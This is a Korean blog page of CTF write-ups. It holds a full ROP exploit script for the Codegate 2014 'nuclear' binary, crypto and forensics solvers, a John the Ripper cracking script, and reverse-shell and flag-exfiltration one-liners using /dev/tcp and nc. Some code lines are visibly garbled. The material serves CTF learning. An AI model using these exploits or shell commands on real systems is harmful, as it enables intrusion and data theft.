Write-up

[WhiteHatWargame.vn] onechange

2018. 8. 13. 01:44

[Codegate 2014] nuclear

2018. 8. 5. 21:17

writeup까지 쓸 생각은 없었는데;


풀다보니까... 생각보다 시간을 많이 잡아먹고, 좀 유의해야할것도 있는 것 같아서 생각을 정리하는 김에 글로 써서 남긴다.


하... 대체 왜 이렇게 시간을 잡아먹은 건지 ㅡㅡ;


nuclear



nuclear: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=49e7c88b99cd6526e37d016c08e8e5cfeb526474, stripped

 



일단 주어진 바이너리는 32bit 이고, 보호기법은 NX가 걸려있다.


IDA로 보면 소켓 프로그램인 것을 알 수있다.



socket() 함수로 소켓을 생성한다. 이 때 값은 파일/소켓 디스크립터로 반환되고 이 값은 3이다.

그 후 bind() 함수로 소켓에 IP주소와 포트번호를 지정해준다. 여기서는 localhost로 1129포트로 지정하였고, bind()함수는 성공하면 0, 실패하면 -1를 반환한다.



그 후 accept() 함수로 클라이언트의 접속 요청을 받고, 클라이언트와 통신하는 전용 소켓을 생성한다.

이 함수 역시 반환값으로 소켓/파일 디스크립터를 반환하고, 이 값은 4이다.


그럼 먼저 저 바이너리를 실행하고, 로컬포트 1129로 접속해보자.



Nuclear Control System 이라 뜨게 된다.

다시 Ida로 돌아와 살펴보자. 저 부분을 실행하는 함수이름을 Main_8048c65라고 지정하였다.

소켓을 생성하고, 그 값을 인자로 넘겨 실행하게 된다.


이제 우리는 소켓디스크립터값을 이용해 이 프로그램과 통신하게 된다.



일단 변수들은 위와 같이 선언 할당되어있다.

위에는 조금 짤렸는데 passcode라는 변수에 THIS_IS_NOT_KEY_JUST_PASSCODE의 값을 읽어와서 저장해준다.

사용할 수 있는 명령어로는 "quit", "target", "launch"가 있는데


여기서 launch 함수를 보면 사용자로부터 buffer에 입력을 받아 passcode값과 비교한 후,

그 값이 일치하면 pthread_create로 sub_8048B9C함수를 실행해준다.



해당 함수는 카운트 다운 함수인데, 100초를 세고, 100초가 다 세어지면 핵폭팔이 일어나는 것을 볼 수 있다.





중요한 것은 핵폭팔이 일어나는것이 아니라, 저 함수를 실행할 때

pthread로 실행하게 되는 start_routine함수이다.




이 함수를 보면 buf는 bp에서 0x20c만큼 떨어져있지만 사용자로부터 0x512만큼의 값을 받으므로 overflow가 발생한다.

여기서 이제 함수의 흐름을 조작할 수 있다.


그런데 위에서는 필자가 passcode를 알고 있으므로, launch를 실행시킬수 있었지만, 원래는 그 값을 알 수 가 없다.



passcode의 값은 buffer에서 0x208만큼 떨어져있고, buffer에는 0x200만큼만 입력이 된다.

그리고 그 사이에 v4와 v5의 값이 들어가 있는데, 만약 buffer에 NULL바이트 없이 0x200만큼 꽉 차있고

v4와 v5에도 NULL바이트가 없다면, 아래 루틴에서 buffer를 passcode까지 이어서 출력하게 될 것이다.



그러므로 우리는 target 명령어를 통해서 v4와 v5값을 float값으로 채워서 NULL바이트를 없애주고, command입력시 "A"*0x200을 입력하면

passcode값이 leak 될 것이다.





자 그럼 이제, exploit을 하면 된다.


passcode를 leak해서 launch를 실행하고, start_routine에 진입하여, 거기서 프로그램 실행흐름을 조작하면 된다.

처음에는 puts함수를 이용해 다른 함수의 주소를 leak하려하였지만, 소켓프로그램이기 때문에 소켓에 통신하고있는 사용자에게 leak된 주소가 출력되지않고, 서버에 출력되는 것을 알 수 있었다 ㅡㅡ; (이 부분때문에 삽질을 했다.)


주의해야할 점이다. send함수를 통해 소켓디스크립터로 leak한 것을 사용자에게 보내면 된다.

그렇게 함수 주소를 leak하고 offset을 통해 system함수의 주소를 알아내어 프로그램 흐름을 조작하면 된다.


여기서 system("/bin/sh")을 실행하였지만; 당연하게도 소켓프로그램인지라 사용자에게는 쉘이 띄워질리 없기때문에

리버스쉘이나 바인드쉘을 사용하여야한다. 여기선 flag만 가져오면 되기 때문에 system("cat flag | nc localhost 9999")와 같이 실행한다.


이렇게 프로그램 자체에서 소켓을 열고, 소켓디스크립터를 통해 통신을 하는 경우엔 system("/bin/sh")를 한다고 사용자에게 쉘이 떨어지는것이 아니니 주의하여야 할것같다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
 
#context.log_level = 'debug'
 
elf = ELF("./nuclear")
conn = remote("localhost"1129)
 
def sendCommand(cmd):
    conn.recvuntil("> ")
    conn.send(cmd)
    
def targetSet(Location):
    sendCommand("target")
    conn.recvuntil("---> ")
    conn.sendline(Location)
    
def Launch(passcode):
    sendCommand("launch")
    conn.recvuntil(": ")
    conn.sendline(passcode)
    
targetSet("5.5123/5.5123")
sendCommand("A"*0x200)
 
#leak
conn.recvuntil(" Unknown command : ")
conn.recv(0x208)
passcode = conn.recvline().strip()
 
log.info("passcode : " + passcode)
 
#Launch Nuclear
Launch(passcode)
 
send_plt = elf.symbols['send']
recv_plt = elf.symbols['recv']
recv_got = elf.got['recv']
send_got = elf.got['send']
 
start_routine = 0x8048B5B
pppr = 0x804917d
ppppr = 0x804917c
fd = 0x4
 
#bof
payload = "A"*0x200
payload += p32(fd)
payload += "B"*12
payload += p32(send_plt)
payload += p32(pppr)
payload += p32(fd)
payload += p32(recv_got)
payload += p32(4)
payload += p32(send_plt)
payload += p32(pppr)
payload += p32(fd)
payload += p32(send_got)
payload += p32(5)
payload += p32(start_routine)
payload += p32(0xdeadbeef)
payload += p32(fd)
 
conn.recvuntil("COUNT DOWN : 100")
conn.sendline(payload)
 
conn.recvuntil("We can't stop this action.. G00D Luck!\n")
recv_addr = conn.recv(4)
send_addr = conn.recv(4)
 
system_addr = u32(recv_addr)-0x18a5a0
 
log.info("recv_addr : 0x%x" % u32(recv_addr))
log.info("send_addr : 0x%x" % u32(send_addr))
 
payload = "A"*0x200
payload += p32(fd)
payload += "B"*12
payload += p32(recv_plt)
payload += p32(ppppr)
payload += p32(fd)
payload += p32(elf.bss())
payload += p32(50)
payload += p32(0)
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(elf.bss())
conn.recvuntil("COUNT DOWN : 99")
conn.sendline(payload)
 
conn.interactive()
cs





'Write-up > Pwnable' 카테고리의 다른 글

[WhiteHatWargame.vn] mini-game  (0) 2018.08.13
[WhiteHatWargame.vn] onechange  (0) 2018.08.13
[MeePwnCTF 2018] one_shot writeup  (0) 2018.07.26
[MeePwnCTF 2018] one_shot (대회 당시 삽질한 글)  (0) 2018.07.26
[RCTF 2017] Recho  (0) 2018.07.10

[ISITDTU 2018] XOR Write-up

2018. 7. 30. 23:07


XOR문제입니다.

많은 사람들이 풀었기때문에 100점까지 낮아졌습니다 ㅠ;;


아니... 어떻게 이걸 더 많이 푼거지 ;;

다른 암호들이 훨씬 빨리 풀리는데 ...


아무튼!


문제는 아래와 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flag import flag,key
 
assert len(key) == 10
 
#padding
if len(flag) % len(key) != 0:
    n = len(key) - len(flag) % len(key)
    for i in range(n):
        flag += " "
 
= []Q
for a in range(len(key)):
    i = a
    for b in range(len(flag)/len(key)):
        if b % 2 != 0:
            m.append(ord(flag[i]) ^ ord(key[a]))
        else:
            m.append(ord(flag[i+len(key)-(a+1+a)])^ ord(key[a]))
        i += len(key)
enc_flag = ""
for j in range(len(m)):
    enc_flag += "%02x" % m[j]
 
print enc_flag
 
#enc_flag = 1d14273b1c27274b1f10273b05380c295f5f0b03015e301b1b5a293d063c62333e383a20213439162e0037243a72731c22311c2d261727172d5c050b131c433113706b6047556b6b6b6b5f72045c371727173c2b1602503c3c0d3702241f6a78247b253d7a393f143e3224321b1d14090c03185e437a7a607b52566c6c5b6c034047
 
cs


키 값도 주고, 문제도 단순합니다. 홀수번째 블록암호가 거꾸로 XOR되기때문에 이를 유의해서 풀면 보통 XOR암호문제와 다를게 없습니다.


그래서 조금 어려운 문제가 아닌가싶었는데;;

대부분이 Bruteforcing으로 잘풀었습니다.(flag형식이 지정되어있기때문에...)

하지만 저는 hamming_distance와  Alphabet score를 이용해서 풀어보았습니다.


먼저 hamming_distance 측정을 통해 평문이 알파벳과 숫자로 구성된 문자열이란 것을 알 수 있습니다.

그래서 Alphabet score를 매기는 방식으로 코드를 짜서 풀었습니다. CTF에 나오는 플래그 형식이 완전히 알파벳이 아니라서 조금 변형시키긴했지만~

그래도 잘 돌아갑니당..ㅎㅎ


관련개념은 추후에 블로그에 올리겠습니다.

그럼 이 글도 조금은 수정되겠져


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
#Letter Distribution - Exterior Memory  http://www.macfreek.nl/memory/Letter_Distribution
freq = {
' ' : 18.28846265,
'E' : 10.26665037,
'T' : 7.51699827,
'A' : 6.53216702,
'O' : 6.15957725,
'N' : 5.71201113,
'I' : 5.66844326,
'S' : 5.31700534,
'R' : 4.98790855,
'H' : 4.97856396,
'L' : 3.31754796,
'D' : 3.28292310,
'U' : 2.27579536,
'C' : 2.23367596,
'M' : 2.02656783,
'F' : 1.98306716,
'W' : 1.70389377,
'G' : 1.62490441,
'P' : 1.50432428,
'Y' : 1.42766662,
'B' : 1.25888074,
'V' : 0.79611644,
'K' : 0.56096272,
'X' : 0.14092016,
'J' : 0.09752181,
'Q' : 0.08367550,
'Z' : 0.05128469,
 
'1' : 5.66844326#I
'4' : 6.53216702#A
'5' : 5.31700534#S
'3' : 10.26665037,#E
'0' : 6.15957725#O
'_' : 18.28846265,#_
 
'{' : 3.0,
'}' : 3.0,
}
def alphabet_score(stringA):
    score = 0.0
    for c in stringA:
        c=c.upper()
        if c in freq:
            score+=freq[c]
    return score
 
def XOR_singleByte(str1, sbyte):
    result = ""
    for i in range(0,len(str1),2):
        h1 = int(str1[i:i+2],16)
        h2 = sbyte
        result+= '{:02x}'.format(h1^h2)
    return result
 
def XOR_with_Key(str1, Key):
    result = ""
    keylen=len(Key)
    for i in range(0,len(str1),2):
        h1 = int(str1[i:i+2],16)
        h2 = ord(Key[(i/2)%keylen])
        result+= '{:02x}'.format(h1^h2)
    return result
 
def Hamming_distance(str1, str2):
    d = 0
    for i in range(0len(str1)):
        hd = ord(str1[i]) ^ ord(str2[i])
        while hd > 0:
            d += (hd & 0x1)
            hd = hd>>1
    return d
    
enc_flag = "1d14273b1c27274b1f10273b05380c295f5f0b03015e301b1b5a293d063c62333e383a20213439162e0037243a72731c22311c2d261727172d5c050b131c433113706b6047556b6b6b6b5f72045c371727173c2b1602503c3c0d3702241f6a78247b253d7a393f143e3224321b1d14090c03185e437a7a607b52566c6c5b6c034047"
cipher = enc_flag.decode("hex")
 
KEY_LEN = 10
BLOCK_LEN = len(cipher)/KEY_LEN
 
blocks = [""]*BLOCK_LEN
for i in range(len(cipher)):
    blocks[i%BLOCK_LEN]+=cipher[i]
 
ciphers = ["",""]
 
for i, b in enumerate(blocks):
    if i % 2 != 0:
        ciphers[0+= b
    else:
        ciphers[1= b + ciphers[1]
 
        
distance = 0.0
= (len(ciphers[0])/(KEY_LEN))-1
for bsize in range(0,len(ciphers[0])-2*KEY_LEN,KEY_LEN):
    b1=ciphers[0][bsize:bsize+KEY_LEN]
    b2=ciphers[0][bsize+KEY_LEN:bsize+KEY_LEN*2]
    distance += Hamming_distance(b1, b2)
 
d=(distance/(n*KEY_LEN))
 
print("hamming_distance1 : %f" % d)
        
distance = 0.0
= (len(ciphers[1])/(KEY_LEN))-1
for bsize in range(0,len(ciphers[1])-2*KEY_LEN,KEY_LEN):
    b1=ciphers[1][bsize:bsize+KEY_LEN]
    b2=ciphers[1][bsize+KEY_LEN:bsize+KEY_LEN*2]
    distance += Hamming_distance(b1, b2)
 
d=(distance/(n*KEY_LEN))
 
print("hamming_distance2 : %f" % d)    
    
keyString = ""
cipher = ciphers[0]+ciphers[1]
 
for i in range(0, KEY_LEN):
    Max_score = 0.0
    score = 0.0
    key = 0
    for sbyte in range(0,255):
        nCaesar = ""
        for j in range(i, len(cipher), KEY_LEN):
            nCaesar += cipher[j]
        nCaesar = nCaesar.encode("hex")
        nResult = XOR_singleByte(nCaesar, sbyte)
        nomal_string = nResult.decode("hex")
        
        score = alphabet_score(nomal_string)
    
        if score > Max_score:
            Max_score = score
            key = sbyte
    keyString += chr(key)
 
print("KeyString :"),
print(keyString)
 
print("\nPlaintext : ")
plain1 = XOR_with_Key(ciphers[0].encode("hex") ,keyString).decode("hex")
plain2 = XOR_with_Key(ciphers[1].encode("hex") ,keyString).decode("hex")
plain2 = plain2[::-1]
 
plain = ""
for i in range(BLOCK_LEN/2+1):
    plain += plain2[i*KEY_LEN:(i+1)*KEY_LEN] + plain1[i*KEY_LEN:(i+1)*KEY_LEN]
 
print(plain)
cs



'Write-up > Crypto' 카테고리의 다른 글

[CSAW Quals 2017] BabyCrypt Writeup  (0) 2018.09.14
[hackcon18] Ron, Adi and Leonard (Wiener Attack)  (0) 2018.08.18
[ISITDTU 2018] Simple RSA Write-up  (0) 2018.07.30
[ISITDTU 2018] Baby Write-up  (0) 2018.07.30
[MeePwnCTF 2018] bazik  (0) 2018.07.25
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from Crypto.Util.number import *
import random
flag = 'Hidden'
def egcd(a, b):
    if a == 0:
        return (b, 01)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
 
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        #raise Exception('modular inverse does not exist')
        print "aaa"
    else:
        return x % m
def next_prime(n):
    num = n + 1
    while True:
        if isPrime(num):
            return num
        num += 1
= random.randint(1<<251,1<<252)
= 10
= next_prime(p)
p1 = next_prime(p*10)
p2 = next_prime(p1*10)
p3 = next_prime(p2*10)
 
 
 
= p*p1*p2*p3
= 65537
= pow(bytes_to_long(flag),e,N)
print c
#153348390614662968396805701018941225929976855876673665545678808357493865670852637784454103632206407687489178974011663144922612614936251484669376715328818177626125051048699207156003563901638883835345344061093282392322541967439067639713967480376436913225761668591305793224841429397848597912616509823391639856132
print N
#603040899191765499692105412408128039799635285914243838639458755491385487537245112353139626673905393100145421529413079339538777058510964724244525164265239307111938912323072543529589488452173312928447289267651249034509309453696972053651162310797873759227949341560295688041964008368596191262760564685226946006231
cs


문제입니다. 정말 심플합니다. modinv()함수까지 다 짜주어서 그냥 p,p1,p2,p3만 구하면 문제를 풀 수 있습니다.

물론 그게 어렸기 때문에 고생하는 거지만요 ㅠㅠ


그래서 저는 저걸 못구해서 끙끙거렸는데;;

이걸 같이 CTF하는 팀원님이 구해주셨습니다(대단해...!! rls1004님 감사합니당...)


저는 이걸 p를 gmpy.root(N/1000000,4)로 해서 잡아놓고 1씩 올리거나 내리면서 계산햇는데;; ㅠㅠ

알고리즘 공부를 더 해야할거같습니다 ㅠㅠ

대회가 끝나고 다른분들 writeup을 보니 이진탐색도 사용하더군엽.. 


p를 N/1000000의 4제곱근 근처로 잡은 이유는 문제코드가 아래와 같아서 입니다.

p = next_prime(p)

p1 = next_prime(p*10)

p2 = next_prime(p1*10)

p3 = next_prime(p2*10)


즉... N=p*(p*10+a)*(p*100+b)*(p*1000+c) 일테니..

대충 p^4 * 1000000 + A 일겁니다. 그러므로 .root(N/1000000,4)로 잡아놓고 풀었습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from Crypto.Util.number import *
import gmpy
 
def egcd(a, b):
    if a == 0:
        return (b, 01)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
 
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        #raise Exception('modular inverse does not exist')
        print "aaa"
    else:
        return x % m
 
def next_prime(n):
    num = n + 1
    while True:
        if isPrime(num):
            return num
        num += 1
 
= 603040899191765499692105412408128039799635285914243838639458755491385487537245112353139626673905393100145421529413079339538777058510964724244525164265239307111938912323072543529589488452173312928447289267651249034509309453696972053651162310797873759227949341560295688041964008368596191262760564685226946006231
= 65537
 
start, perfect  = gmpy.root(N/1000000,4)
= 0x1000
= 0xf
while a != 0:
    p = start + a * b
    p = next_prime(p)
    p1 = next_prime(p*10)
    p2 = next_prime(p1*10)
    p3 = next_prime(p2*10)
 
    tmp = p*p1*p2*p3
 
    if tmp == N:
        print p, p1, p2, p3
        break
    if tmp > N:
        b -= 1
    else:
        start = start + a * b
        print hex(start)
        a = a/0x10
        b = 0xf
"""
p  = 4955491002253862893875866857920361781272456756179979954923353247500965791683
p1 = 49554910022538628938758668579203617812724567561799799549233532475009657916989
p2 = 495549100225386289387586685792036178127245675617997995492335324750096579170109
p3 = 4955491002253862893875866857920361781272456756179979954923353247500965791701557
"""
if(p*p1*p2*p3 == N):
    print("great!")
    
phi = (p-1)*(p1-1)*(p2-1)*(p3-1)
= modinv(e, phi)
 
= 153348390614662968396805701018941225929976855876673665545678808357493865670852637784454103632206407687489178974011663144922612614936251484669376715328818177626125051048699207156003563901638883835345344061093282392322541967439067639713967480376436913225761668591305793224841429397848597912616509823391639856132
 
dec = pow(c,d,N)
print(long_to_bytes(dec))
 
 
 
cs







참고로 python 모듈이 없다면, sage로도 가능!

1
2
3
4
5
N = 603040899191765499692105412408128039799635285914243838639458755491385487537245112353139626673905393100145421529413079339538777058510964724244525164265239307111938912323072543529589488452173312928447289267651249034509309453696972053651162310797873759227949341560295688041964008368596191262760564685226946006231
print("start")
tmp = isqrt(N/1000000)
tmp = isqrt(tmp)
print(tmp)
cs


http://math3.skku.ac.kr/home/myriabreak/7/

'Write-up > Crypto' 카테고리의 다른 글

[hackcon18] Ron, Adi and Leonard (Wiener Attack)  (0) 2018.08.18
[ISITDTU 2018] XOR Write-up  (0) 2018.07.30
[ISITDTU 2018] Baby Write-up  (0) 2018.07.30
[MeePwnCTF 2018] bazik  (0) 2018.07.25
[MeePwnCTF 2018] esor (easy)  (0) 2018.07.16

[ISITDTU 2018] Baby Write-up

2018. 7. 30. 18:14


CTF가 끝나고 한 번 풀어본다.

CTF 기간 중에는 팀원님이 아주 빠르게 풀어주셨다...

나는 RSA문제에 막혀서 ㅠㅠㅠ



아직 서버가 살아있어서 nc로 접속하면 아래와 같이 사용자로 부터 숫자입력을 받고, 뭔가를 출력해준다.

소스파일도 주어졌으므로 먼저 소스파일을 보자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    def hash(self, m):
        f = int(flag.encode("hex"),16)
        x = sha512(str(f | m )).digest().encode("hex")
        self.request.sendall(x+"\n")
 
        
        
 
    def check(self):
        while True:
            self.request.sendall("********************Hello World********************\n")
            self.request.sendall("***************************************************\n")
            self.request.sendall("Number: ")
            try:
                number = int(self.request.recv(BUFF_SIZE).strip())
            except:
                break
            self.request.sendall(str(number)+"\n")
            self.hash(number)
cs


사용자로부터 Number를 입력받은 후

number와 flag를 or하여, 그 값을 sha512해시값으로 해서 출력해준다.


이 flag의 값은 변하지않고, 사용자는 Number를 써서 flag과 or한 결과값을 계속 얻을 수 있으므로 0과 flag를 OR한 값과 다른 bit들을 비교하여 공격하면된다. 

즉 bit flipping하여 1bit씩 브루트포싱하는 것이다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import socket
 
flag_hash = "2c7b44d69a0f28798532e4bb606753128969e484118bd0baa215c6309ce6dc016c9a5601471abf4c556c0dc5525eb4144078a761a6456c919d134be8a10c64a0"
 
def recv_until(s, string):
    result = ''
    while string not in result:
        result += s.recv(1)
    return result
 
def get_hash(num):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('35.185.178.212'33337))
    recv_until(sock, ':')
    sock.send(str(num)+"\n")
    recv_until(sock, '\n')
    hash = recv_until(sock, '\n')
    sock.close()
    return hash[:-1]
 
flag = ""
c=0
while(True):
    onebyte = 0
    for i in range(8):
        num = (1<<i)
        hash = get_hash(num<<(8*c))
        if flag_hash==hash:
            onebyte+=num
    c+=1
    flag = chr(onebyte)+flag
    if "ISITDTU{" in flag:
        break
    print(flag)
 
print("FLAG : " + flag)
cs




성공



'Write-up > Crypto' 카테고리의 다른 글

[ISITDTU 2018] XOR Write-up  (0) 2018.07.30
[ISITDTU 2018] Simple RSA Write-up  (0) 2018.07.30
[MeePwnCTF 2018] bazik  (0) 2018.07.25
[MeePwnCTF 2018] esor (easy)  (0) 2018.07.16
[MeePwnCTF 2018] esor (hard)  (0) 2018.07.16


알수 없는 파일이 하나 주어집니다.

이름이 basic_crypto이고 hex값이 FF값이 많은것으로 보아, 일단 한번 0xFF값과 단일XOR해보았습니다.


1
2
3
4
5
6
7
8
9
10
11
= open("basic_crypto","r")
basic_crypto = f.read()
f.close()
 
basic_decrypt=""
for i in basic_crypto:
        basic_decrypt += chr(ord(i)^0xFF)
 
= open("decrypt_png.png","w")
f.write(basic_decrypt)
f.close()
cs


결과값으로 png파일이 하나 나왓습니다.



내용을 살펴보면 아래와 같습니다.



too low랍니다. 처음에는 뭔가 했는데;

세로 길이가 너무 낮다~라는 건가봅니다.


일단 한번 세로길이를 늘려봣더니 아래와 같이 나와서 깨닫...


먼가 뒤집혀있어서 뒤집어줍시다.



알파벳 대문자 26자와 숫자 조금이 섞여나와있습니다.

이미지라서 보기힘드니 OCR로 txt로 바꿔줬습니다.


ORC


대충 보니 BASE32 디코딩을 통해 풀 수 있을거같아

BASE32 디코딩을 수행하였습니다.



플래그를 찾았습니다!




++ 다른 사람 writeup을 통해 Multisolver라는 괜찮은 웹사이트를 찾았습니다.

한 암호에 대하여 여러가지 암호디코딩을 수행하여 보여줍니다... 굉장..


quipqiup.com와 같이 매우 좋은 툴!






[ISITDTU 2018] Drill Write-up

2018. 7. 30. 16:11


이런 파일이 주어진다. 헥스값을 텍스트로 그대로 옮긴것같다. 다시 헥스값으로해서 넣어주자


1
2
3
4
5
6
7
8
9
= open("drill","r")
drill = f.read()
f.close()
 
print(drill)
 
= open("drill_hex","w")
f.write(drill.decode("hex"))
f.close()
cs


이렇게하면 된다. 조금 더 간단하게 하는 방법으로 $ xxd -r -p drill > drill_hex 를 커맨드로 실행해도 된다.



file로 보면 뭔가 나올 줄 알았는데... 그냥 data라고 합니다.

binwalk로 탐색해보니, zip파일의 끝이 발견되었습니다.



살펴보니 Zip파일의 헤더부분이 빠져있어, 추가해주었습니다. ("\x50\x4B\x03\x04")



압축을 풀려하니 패스워드를 대라길래; John The Ripper을 이용해서 풀어줫습니다.

첫번째 암호는 "brandon1"입니다.


그랬더니 499.zip이 나왔습니다...

예상으로는 499~0까지 zip이 있을거같아, 파이썬으로 자동화시켜 John The Ripper로 풀었더니



237.zip부터는 오류가 뜨면서 풀리지않습니다.

그래서 지금까지 나온 패스워드를 구글에 검색하여 Passwordlist를 얻을 수 잇었고, 이를 이용해서 풀었습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import os
import string
from subprocess import Popen, PIPE
 
path = "/home/sherlock/workstation/crytoTool/JohnTheRipper/run/"
 
password_list=""
def john(zip):
    global password_list
    cmd = "/home/sherlock/workstation/crytoTool/JohnTheRipper/run/zip2john "
    cmd += zip
    cmd += " > zip.hash"
    os.system(cmd)
    
    cmd = "/home/sherlock/workstation/crytoTool/JohnTheRipper/run/john -w:passwordlist_ph4.txt zip.hash"
    
    popen = Popen(cmd, shell=True, stdout=PIPE)
    output, error = popen.communicate()
    
    password = (output.split("\n")[1]).split("(")[0].strip()
    password_list += ", "+password
    cmd = "rm /home/sherlock/workstation/crytoTool/JohnTheRipper/run/john.pot"
    os.system(cmd)
    return password
    
cmd = "unzip -P "
password = "brandon1"
 
for i in range(237,0,-1):
    zip = str(i)+".zip"
    password = john(zip)
    os.system(cmd+password+" "+zip)
    #exit(1)
print(password_list)
 
cs


찾아보니 rockyou wordlist라고 패스워드 리스트가 따로 있더군여...

파일용량이 무려 130MB나 합니다.... 다운


아무튼 그렇게해서 마지막 0.zip의 압축을 풀면 아래와 같은 것들을 얻을 수 잇습니다.



key.png는 스테가노그래피로 key가 숨겨져있을 거 같습니다.




확실히! Stegsolve 를 이용해서 Red비트만 추출해보니 모스부호와 비슷한 것이 나왔습니다.


모스부호를 해독하면 "keyisonlyforluckyhunters"가 나오고, 이를 통해 zip압축을 풀고 flag를 얻을 수 잇습니다.



참고:

zsteg를 사용하면 더 간단합니다.


이건 다른 예시~




얼마전 있었던 MeePwnCTF 2018에서 나왔던 one_shot이란 문제이다. CTF 시간이 48시간이였던지라, 여유를 가지고 풀어보려고 잡았으나.. 30시간이 넘게 시간을 투자하였음에도 불구하고 풀지못했다 ㅡㅡ; 끝나고 난 뒤, IRC를 통해 사람들이 리버스쉘을 통해 푸는 문제라고 말한 것을 듣고 충격이 있었으나, 어짜피 리버스쉘을 실행시켜도 내 쪽 서버가 없어서 결국 못푸는 문제였던거 같다.


뭐 그래도, 이렇게 하나 배워가는 것이고, 다음에 비슷한 문제가 나온다면 팀원들 중에 개인서버가 있는 사람한테 부탁해서라도 풀 수 있지않을까 생각한다.


는 무슨 하루종일 리버스쉘만 따려고 별짓을 다했는데 안된다 ㅡㅡ; 아 화난다 진짜;; 아으ㅏㅇ



nc 178.128.87.12 31338

https://ctf.meepwn.team/attachments/pwn/one_shot_7f980ea94c21c4c45b47b126b8678777.tar.gz


문제는 내용은 위와 같다. 현재는 서버가 닫혔으므로, 로컬에서 Exploit을 진행하도록 하겠다. 먼저 어떤 보호기법들이 적용되있는지 살펴보자.



sherlock@ubuntu:~/workstation/2018_CTF/MeePwn/one_shot$ file one_shot one_shot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=29266d4ecc4a047f613a525401fbd87650e968ed, stripped


64bit바이너리파일이고, stripped되있다. 일단 잘 모르겠으니 실행해보면 사용자로부터 입력을 받는것 같은데, 입력 후 그냥 종료되어버리는 것을 알 수있다. 정확한 동작을 모르겠으니 IDA를 이용해서 살펴보기로 하였다.



이 프로그램을 실행하면 사용자로부터 0x234만큼의 데이터를 read함수를 통해 받고, close()를 통해 stdinstdoutstderr를 닫아버린다.


처음에는 이 3개를 닫아도 아무 문제없을 것이라 생각했는데... 이 3개가 닫히니 아에 아무것도 할 수가 없게되었다 ㅡㅡ;


stdout이 닫혀있다보니, 출력이 안되므로 leak을 못한다. 그러므로 libc_base주소를 구하는 것도 못하고, 어떻게해서 쉘을 띄운다고 해도 stdin,stdout이 닫혀있으니, 상호작용을 할 수가 없다.


그런데 정작 나는 그것을 고려하지도 않고, "어떻게해서든 쉘만 띄우면 되겠지~"하고 ROP로 execve("/bin/sh", 0, 0)을 실행시켰는데, 안돼서 "왜 쉘이 안띄워지는것이냐!!" 하면서 미쳐버리는줄 알았다... 하;


참고로 CTF 당시에 작성한 payload를 써서 strace로 추적해보면 정상적으로 execve("/bin/sh", 0, 0)가 실행되는 것을 볼 수있는데, 물론 stdin,stdout이 막혀있기때문에 바로 종료되는 것을 볼 수 있다.



그렇기때문에 여기서는 리버스쉘을 사용해서 클라이언트쪽에서 포트를 열어주고, 서버쪽에서 그 포트로 접속하여 flag를 보내게하던지, 아니면 쉘을 띄워주던지해야한다. 그래서 밑의 2가지 방법 등으로 쉘을 띄울수가 있다.


  1. bash의 /dev/tcp를 이용한 방법 (ip:127.0.0.1 port:1234)

/bin/sh >& /dev/tcp/127.0.0.1/1234 0>&1

  1. netcat을 이용한 방법

nc -e /bin/sh 127.0.0.1 1234


문제는 서버쪽에서 저 연결을 유지를 못시켜주는 것 같아서 (stdin, stdout이 닫힌것과 관련있을지도), 결국 또 하루종일 리버스쉘띄우려다가 결국 못띄우고, 명령어 하나씩 실행해서 결과를 서버쪽에 리턴받는 방식으로 하기로 했다.


계획은 이렇다.


  1. 자신의 개인서버에서 netcat으로 포트를 연다.

nc -l -p 1234

  1. execve("/bin/sh", ["/bin/sh","-c", "명령어",0], 0)을 실행하여 원하는 명령을 실행하고, 그 결과를 자신의 서버로 전송하는 payload를 작성해 공격한다.

명령어 : cat /home/sherlock/flag | nc 127.0.0.1 1234

  1. 1~2를 통해 flag의 위치를 알아내고, flag값을 자신의 서버에 전송한다.
  2. flag를 획득한다.

자 그럼 먼저 netcat으로 서버의 포트를 열어주자.



그리고 작성된 python code를 실행하자.



1234 포트를 열어둔 곳으로 가보면, 포트가 닫히고 flag값이 들어와있는 것을 볼 수 있다.


